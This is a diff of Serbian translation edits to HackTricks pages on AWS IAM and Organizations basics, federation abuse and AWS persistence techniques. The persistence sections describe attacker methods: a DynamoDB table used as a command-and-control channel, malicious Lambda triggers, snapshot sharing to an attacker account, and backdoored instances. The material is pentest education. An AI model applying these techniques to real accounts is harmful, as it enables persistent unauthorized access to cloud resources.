(OU)**. Na ovaj način, možete kreirati **politike** za organizacionu jedinicu koje će biti **primenjene na sve podračune**. Imajte na umu da OU može imati druge OU kao decu. +Nalozi se mogu grupisati u **organizacione jedinice (OU)**. Na ovaj način, možete kreirati **politike** za organizacionu jedinicu koje će biti **primenjene na sve naloge dece**. Imajte na umu da OU može imati druge OU kao decu. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -**Politika kontrole usluga (SCP)** je politika koja specificira usluge i akcije koje korisnici i uloge mogu koristiti u nalozima na koje SCP utiče. SCP-ovi su **slični IAM** politikama dozvola osim što **ne dodeljuju nikakve dozvole**. Umesto toga, SCP-ovi specificiraju **maksimalne dozvole** za organizaciju, organizacionu jedinicu (OU) ili nalog. Kada prikačite SCP na koren vaše organizacije ili na OU, **SCP ograničava dozvole za entitete u članicama naloga**. +**Service control policy (SCP)** je politika koja specificira usluge i akcije koje korisnici i uloge mogu koristiti u nalozima na koje SCP utiče. SCP-ovi su **slični IAM** politikama dozvola osim što **ne dodeljuju nikakve dozvole**. Umesto toga, SCP-ovi specificiraju **maksimalne dozvole** za organizaciju, organizacionu jedinicu (OU) ili nalog. Kada prikačite SCP na koren vaše organizacije ili na OU, **SCP ograničava dozvole za entitete u članicama naloga**. -Ovo je JEDINI način na koji **čak i korisnik sa root privilegijama može biti sprečen** da uradi nešto. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\ +Ovo je JEDINI način na koji **čak i korisnik sa root privilegijama može biti sprečen** da nešto uradi. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\ Jedini način da se to zaobiđe je da se kompromituje i **glavni nalog** koji konfiguriše SCP-ove (glavni nalog ne može biti blokiran). > [!WARNING] > Imajte na umu da **SCP-ovi samo ograničavaju principe u nalogu**, tako da drugi nalozi nisu pogođeni. To znači da imati SCP koji odbija `s3:GetObject` neće sprečiti ljude da **pristupaju javnom S3 bucket-u** u vašem nalogu. -Primeri SCP-a: +SCP primeri: -- Odbijanje glavnog naloga u potpunosti +- Odbijanje root naloga u potpunosti - Dozvoliti samo specifične regione - Dozvoliti samo usluge sa bele liste -- Odbijanje GuardDuty, CloudTrail i S3 javnog blokiranja pristupa od +- Odbijanje GuardDuty, CloudTrail i S3 Public Block Access od biti onemogućeni @@ -63,7 +63,7 @@ biti obrisane ili modifikovane. -- Odbijanje brisanja rezervnih kopija. +- Odbijanje rezervnih kopija od biti obrisane. - Odbijanje kreiranja IAM korisnika i pristupnih ključeva Pronađite **JSON primere** u [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) @@ -79,7 +79,7 @@ Napomena da postoje 4 particije u AWS-u, ali samo 3 načina da ih pozovete: - AWS Standard: `aws` - AWS China: `aws-cn` -- AWS US javni Internet (GovCloud): `aws-us-gov` +- AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` ## IAM - Upravljanje identitetom i pristupom @@ -92,21 +92,21 @@ IAM je usluga koja će vam omogućiti da upravljate **autentifikacijom**, **auto IAM se može definisati po svojoj sposobnosti da upravlja, kontroliše i reguliše mehanizme autentifikacije, autorizacije i kontrole pristupa identiteta vašim resursima unutar vašeg AWS naloga. -### [AWS nalog root korisnika](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root korisnik**_ AWS naloga i pristupa mu se prijavom sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**. +Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root user**_ AWS naloga i pristupa mu se prijavom sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**. -Napomena da novi **admin korisnik** ima **manje dozvole od root korisnika**. +Napomena da novi **admin user** ima **manje dozvole od root user-a**. Sa bezbednosnog stanovišta, preporučuje se kreiranje drugih korisnika i izbegavanje korišćenja ovog. -### [IAM korisnici](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i akreditiva (lozinka i do dva pristupna ključa). Kada kreirate IAM korisnika, dodeljujete mu **dozvole** tako što ga činite **članom korisničke grupe** koja ima odgovarajuće politike dozvola (preporučeno), ili **direktno povezivanjem politika** sa korisnikom. -Korisnici mogu imati **omogućen MFA za prijavu** putem konzole. API tokeni korisnika sa omogućenim MFA nisu zaštićeni MFA. Ako želite da **ograničite pristup API ključevima korisnika koristeći MFA**, morate naznačiti u politici da je za izvršavanje određenih radnji MFA potrebno (primer [**ovde**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Korisnici mogu imati **MFA omogućeno za prijavu** putem konzole. API tokeni korisnika sa omogućenom MFA nisu zaštićeni MFA. Ako želite da **ograničite pristup API ključevima korisnika koristeći MFA**, morate naznačiti u politici da je za izvršavanje određenih radnji MFA potrebno (primer [**ovde**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI @@ -119,7 +119,7 @@ Kad god trebate da **promenite pristupni ključ**, ovo je proces koji treba da p ### MFA - Višefaktorska autentifikacija Koristi se za **kreiranje dodatnog faktora za autentifikaciju** pored vaših postojećih metoda, kao što je lozinka, čime se stvara višefaktorski nivo autentifikacije.\ -Možete koristiti **besplatnu virtuelnu aplikaciju ili fizički uređaj**. Možete koristiti aplikacije poput Google autentifikacije besplatno za aktivaciju MFA u AWS-u. +Možete koristiti **besplatnu virtuelnu aplikaciju ili fizički uređaj**. Možete koristiti aplikacije poput google autentifikacije besplatno za aktivaciju MFA u AWS-u. Politike sa MFA uslovima mogu se povezati sa sledećim: @@ -132,7 +132,7 @@ Napomena da **`AssumeRole` akreditivi ne sadrže ove informacije**. ```bash aws sts get-session-token --serial-number --token-code ``` -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), postoje mnogi različiti slučajevi gde **MFA ne može biti korišćen**. +Kao [**što je ovde navedeno**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), postoji mnogo različitih slučajeva gde **MFA ne može biti korišćen**. ### [IAM korisničke grupe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) @@ -145,25 +145,25 @@ Evo nekih važnih karakteristika korisničkih grupa: - **Korisnička grupa** može **sadržati mnogo korisnika**, a **korisnik** može **pripadati više grupa**. - **Korisničke grupe ne mogu biti ugnježdene**; mogu sadržati samo korisnike, ne i druge korisničke grupe. - Ne postoji **podrazumevana korisnička grupa koja automatski uključuje sve korisnike u AWS nalogu**. Ako želite da imate takvu korisničku grupu, morate je kreirati i dodeliti svakom novom korisniku. -- Broj i veličina IAM resursa u AWS nalogu, kao što su broj grupa i broj grupa kojima korisnik može biti član, su ograničeni. Za više informacija, pogledajte [IAM i AWS STS kvote](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- Broj i veličina IAM resursa u AWS nalogu, kao što su broj grupa i broj grupa kojima korisnik može pripadati, su ograničeni. Za više informacija, pogledajte [IAM i AWS STS kvote](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [IAM uloge](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. +IAM **uloga** je veoma **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. IAM uloga se sastoji od **dvaju tipova politika**: **politika poverenja**, koja ne može biti prazna, definišući **ko može preuzeti** ulogu, i **politika dozvola**, koja ne može biti prazna, definišući **šta može pristupiti**. #### AWS Security Token Service (STS) -AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih akreditiva**. Specijalno je prilagođen za: +AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih privilegija akreditiva**. Specijalno je prilagođen za: ### [Privremeni akreditivi u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola od vašeg standardnog IAM korisnika. Ovo **sprečava** vas od **slučajnog obavljanja zadataka koji nisu dozvoljeni** sa ograničenim akreditivima. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni. +**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola od vašeg standardnog IAM korisnika. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** od strane ograničenih akreditiva. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni. ### Politike -#### Dozvole politike +#### Dozvole politika Koriste se za dodeljivanje dozvola. Postoje 2 tipa: @@ -194,31 +194,31 @@ Ako **jedna "Odbij" postoji, ona će nadjačati "Dozvoli"**, osim za zahteve koj ] } ``` -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +[Globalna polja koja se mogu koristiti za uslove u bilo kojoj usluzi su dokumentovana ovde](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[Specifična polja koja se mogu koristiti za uslove po usluzi su dokumentovana ovde](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -#### Inline Policies +#### Inline politike -Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika kao što to može biti slučaj sa bilo kojom drugom.\ -Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onog za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. +Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika jer ih može koristiti bilo ko drugi.\ +Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onom za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. -#### Resource Bucket Policies +#### Politike resursnog kante Ovo su **politike** koje se mogu definisati u **resursima**. **Nisu svi resursi AWS-a podržavaju njih**. Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im omogućava pristup, tada su dozvoljeni. -### IAM Boundaries +### IAM granice IAM granice se mogu koristiti za **ograničavanje dozvola kojima korisnik ili uloga treba da imaju pristup**. Na ovaj način, čak i ako se korisniku dodeli drugačiji skup dozvola putem **druge politike**, operacija će **neuspeti** ako pokuša da ih koristi. Granica je samo politika koja je povezana sa korisnikom i **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi. -**Ovo**, **SCPs** i **pridržavanje principa minimalnih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. +**Ovo**, **SCP-ovi** i **pridržavanje principa najmanjih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. -### Session Policies +### Politike sesije -Politika sesije je **politika postavljena kada se uloga preuzima** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima). +Politika sesije je **politika postavljena kada se neka uloga preuzima** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima). Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvolu samo na one koje su navedene u politici sesije u slučaju da sesija bude kompromitovana. ```bash @@ -237,7 +237,7 @@ Stoga, ako se u nekom trenutku suočite sa greškom "... jer nijedna politika se Identitetna federacija **omogućava korisnicima iz identitetskih provajdera koji su eksterni** za AWS da sigurno pristupaju AWS resursima bez potrebe da dostavljaju AWS korisničke akreditive iz važećeg IAM korisničkog naloga.\ Primer identitetskog provajdera može biti vaša vlastita korporativna **Microsoft Active Directory** (putem **SAML**) ili **OpenID** usluga (kao što je **Google**). Federisani pristup će tada omogućiti korisnicima unutar njega da pristupaju AWS-u. -Da biste konfigurisali ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujuća) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga. +Da biste konfigurisali ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujući) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga. Međutim, obično ćete želeti da dodelite **različitu ulogu u zavisnosti od grupe korisnika** na trećoj strani. Tada, nekoliko **IAM uloga može verovati** trećem identitetskom provajderu, a treća platforma će biti ta koja omogućava korisnicima da preuzmu jednu ili drugu ulogu. @@ -259,7 +259,7 @@ Da bi se prijavili korisnici, postoje 3 izvora identiteta koji se mogu koristiti U najjednostavnijem slučaju direktorijuma Identitetnog Centra, **Identitetni Centar će imati listu korisnika i grupa** i moći će da **dodeli politike** njima za **bilo koji od naloga** organizacije. -Da biste dali pristup korisniku/grupi Identitetnog Centra nalogu, **biće kreiran SAML identitetski provajder koji veruje Identitetnom Centru**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama biće kreirana** u odredišnom nalogu. +Da biste dali pristup korisniku/grupi Identitetnog Centra nalogu, **SAML identitetski provajder koji veruje Identitetnom Centru će biti kreiran**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama će biti kreirana** u odredišnom nalogu. #### AwsSSOInlinePolicy @@ -269,8 +269,8 @@ Stoga, čak i ako vidite 2 uloge sa inline politikom pod nazivom **`AwsSSOInline ### Cross Account Trusts and Roles -**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (verovanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naznačen u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između naloga nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ -Preporučuje se da **precizirate korisnika koji je poveren i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. +**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (pouzdanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između AWS naloga koje posedujete nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ +Preporučuje se da **precizirate korisnika koji je pouzdan i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. ### AWS Simple AD @@ -279,19 +279,19 @@ Nije podržano: - Odnos poverenja - AD Admin Centar - Puna PS API podrška -- AD Kanta za reciklažu +- AD Recycle Bin - Grupa upravljanih servisnih naloga -- Proširenja šeme -- Nema direktan pristup OS-u ili instancama +- Ekstenzije šeme +- Nema direktnog pristupa OS-u ili instancama #### Web Federacija ili OpenID Autentifikacija -Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne daje pristup AWS konzoli, samo pristup resursima unutar AWS-a. +Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne omogućava pristup AWS konzoli, samo pristup resursima unutar AWS-a. ### Druge IAM opcije -- Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinku. -- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i jednom svaka **četiri sata**. +- Možete **postaviti podešavanje politike lozinke** sa opcijama kao što su minimalna dužina i zahtevi za lozinkom. +- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i svaka **četiri sata**. AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrole pristupa** širom celog AWS-a. Sa IAM-om, možete precizirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**. @@ -299,9 +299,9 @@ AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrol Na [**ovoj stranici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) možete pronaći **IAM ID prefikse** ključeva u zavisnosti od njihove prirode: -| ABIA | [AWS STS servisni token nosilac](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [AWS STS servisni nosilac tokena](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Kontekstualni akreditiv | +| ACCA | Kontekst-specifični akreditiv | | AGPA | Korisnička grupa | | AIDA | IAM korisnik | | AIPA | Amazon EC2 profil instance | @@ -331,7 +331,7 @@ Sledeće privilegije daju različit pristup metapodacima: ### CLI Autentifikacija Da bi regularni korisnik autentifikovao AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\ -U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj nazvan **`[default]`** u toj datoteci.\ +U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj pod nazivom **`[default]`** u toj datoteci.\ Primer datoteke akreditiva sa više od 1 profila: ``` [default] diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 598b9a8c0..358081bc7 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -1,4 +1,4 @@ -# AWS - Zloupotreba federacije +# AWS - Zloupotreba Federacije {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ Za informacije o SAML-u, molimo proverite: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -Da biste konfigurisali **Identitetsku federaciju putem SAML-a**, potrebno je da obezbedite **ime** i **metadata XML** koji sadrži svu SAML konfiguraciju (**endpoints**, **sertifikat** sa javnim ključem) +Da biste konfigurisali **Identitetsku Federaciju putem SAML-a**, potrebno je da obezbedite **ime** i **metadata XML** koji sadrži svu SAML konfiguraciju (**endpoints**, **sertifikat** sa javnim ključem) -## OIDC - Zloupotreba Github akcija +## OIDC - Zloupotreba Github Akcija Da biste dodali github akciju kao provajdera identiteta: @@ -20,7 +20,7 @@ Da biste dodali github akciju kao provajdera identiteta: 2. Za _URL provajdera_, unesite `https://token.actions.githubusercontent.com` 3. Kliknite na _Preuzmi otisak_ da biste dobili otisak provajdera 4. Za _Publiku_, unesite `sts.amazonaws.com` -5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija zahteva i **politiku poverenja** koja veruje provajderu kao: +5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija treba i **politiku poverenja** koja veruje provajderu kao: - ```json { "Version": "2012-10-17", @@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` -Moguće je generisati **OIDC provajdere** u **EKS** klasteru jednostavno postavljanjem **OIDC URL-a** klastera kao **novog Open ID provajdera identiteta**. Ovo je uobičajena podrazumevana politika: +Moguće je generisati **OIDC providers** u **EKS** klasteru jednostavno postavljanjem **OIDC URL** klastera kao **novog Open ID Identity provider**. Ovo je uobičajena podrazumevana politika: ```json { "Version": "2012-10-17", @@ -108,13 +108,13 @@ Moguće je generisati **OIDC provajdere** u **EKS** klasteru jednostavno postavl ] } ``` -Ova politika ispravno ukazuje da **samo** **EKS klaster** sa **id** `20C159CDF6F2349B68846BEC03BE031B` može preuzeti ulogu. Međutim, ne ukazuje koja usluga može preuzeti, što znači da **BILO koja usluga sa web identitet tokenom** će moći da **preuzme** ulogu. +Ova politika ispravno ukazuje da **samo** **EKS klaster** sa **id** `20C159CDF6F2349B68846BEC03BE031B` može preuzeti ulogu. Međutim, ne ukazuje koja usluga može da je preuzme, što znači da **BILO koja usluga sa web identitet tokenom** će moći da **preuzme** ulogu. -Da bi se odredilo **koja usluga bi trebala da može da preuzme ulogu,** potrebno je odrediti **uslov** gde je **ime usluge navedeno**, kao što je: +Da bi se preciziralo **koja usluga bi mogla da preuzme ulogu,** potrebno je navesti **uslov** gde je **ime usluge navedeno**, kao što je: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` -## References +## Reference - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index 1f9aadbca..7634e1dca 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -10,18 +10,18 @@ Za više informacija, pristupite: ../aws-services/aws-cognito-enum/ {{#endref}} -### User persistence +### Održavanje korisnika Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i kontrolu direktorijuma korisnika. Nekoliko različitih konfiguracija može biti izmenjeno kako bi se održala neka postojanost, kao što su: - **Dodavanje User Pool-a** koji kontroliše korisnik u Identity Pool -- Dodeljivanje **IAM uloge neautentifikovanom Identity Pool-u i omogućavanje Basic auth flow** +- Dodeljivanje **IAM uloge neautentifikovanom Identity Pool-u i omogućavanje Basic auth toka** - Ili **autentifikovanom Identity Pool-u** ako napadač može da se prijavi - Ili **poboljšanje dozvola** datih uloga - **Kreiranje, verifikacija & privesc** putem atributima kontrolisanih korisnika ili novih korisnika u **User Pool-u** - **Omogućavanje eksternim Identity Provider-ima** da se prijave u User Pool ili u Identity Pool -Proverite kako da izvršite ove akcije u +Proverite kako da izvršite ove radnje u {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 12a47c1cf..6a2fe61fd 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \ --event-source \ --region ``` -Da bi održao postojanost, napadač može da kreira ili menja stavke u DynamoDB tabeli, što će pokrenuti zlonamernu Lambda funkciju. Ovo omogućava napadaču da izvrši kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom. +Da bi održao persistenciju, napadač može da kreira ili modifikuje stavke u DynamoDB tabeli, što će pokrenuti zlonamernu Lambda funkciju. Ovo omogućava napadaču da izvrši kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom. ### DynamoDB kao C2 kanal -Napadač može koristiti DynamoDB tabelu kao **command and control (C2) kanal** kreiranjem stavki koje sadrže komande i korišćenjem kompromitovanih instanci ili Lambda funkcija za preuzimanje i izvršavanje ovih komandi. +Napadač može koristiti DynamoDB tabelu kao **command and control (C2) channel** kreiranjem stavki koje sadrže komande i korišćenjem kompromitovanih instanci ili Lambda funkcija za preuzimanje i izvršavanje ovih komandi. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -Kompromitovane instance ili Lambda funkcije mogu povremeno proveravati C2 tabelu za nove komande, izvršavati ih i po želji izveštavati o rezultatima nazad u tabelu. Ovo omogućava napadaču da održi postojanost i kontrolu nad kompromitovanim resursima. +Kompromitovane instance ili Lambda funkcije mogu periodično proveravati C2 tabelu za nove komande, izvršavati ih i po potrebi izveštavati o rezultatima nazad u tabelu. Ovo omogućava napadaču da održi postojanost i kontrolu nad kompromitovanim resursima. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index e32207ea0..2e66c055d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -18,7 +18,7 @@ Ako je napadač imao **obrnuti shell koji potiče sa mašine**, čak i ako je SG ### EC2 Menadžer životnog ciklusa -Ova usluga omogućava **zakazivanje** **kreiranja AMI-a i snimaka** i čak **deljenje sa drugim nalozima**.\ +Ova usluga omogućava da se **zakazivanje** **kreiranja AMI-a i snimaka** i čak **deljenje sa drugim nalozima**.\ Napadač bi mogao da konfiguriše **generisanje AMI-a ili snimaka** svih slika ili svih volumena **svake nedelje** i **podeli ih sa svojim nalogom**. ### Zakazane instance @@ -27,28 +27,28 @@ Moguće je zakazati instance da se pokreću dnevno, nedeljno ili čak mesečno. ### Spot Fleet Zahtev -Spot instance su **jeftinije** od redovnih instanci. Napadač bi mogao da pokrene **mali spot fleet zahtev za 5 godina** (na primer), sa **automatskom IP** dodelom i **korisničkim podacima** koji šalju napadaču **kada spot instanca počne** i **IP adresu** i sa **IAM ulogom sa visokim privilegijama**. +Spot instance su **jeftinije** od redovnih instanci. Napadač bi mogao da pokrene **mali spot fleet zahtev za 5 godina** (na primer), sa **automatskom IP** dodelom i **korisničkim podacima** koji šalju napadaču **kada spot instanca počne** i **IP adresu** i sa **IAM ulogom visokih privilegija**. -### Instanca sa zadnjim ulazom +### Backdoor instance -Napadač bi mogao da dobije pristup instancama i da ih zadnji ulaz: +Napadač bi mogao da dobije pristup instancama i da ih backdoor-uje: - Koristeći tradicionalni **rootkit** na primer - Dodajući novu **javnu SSH 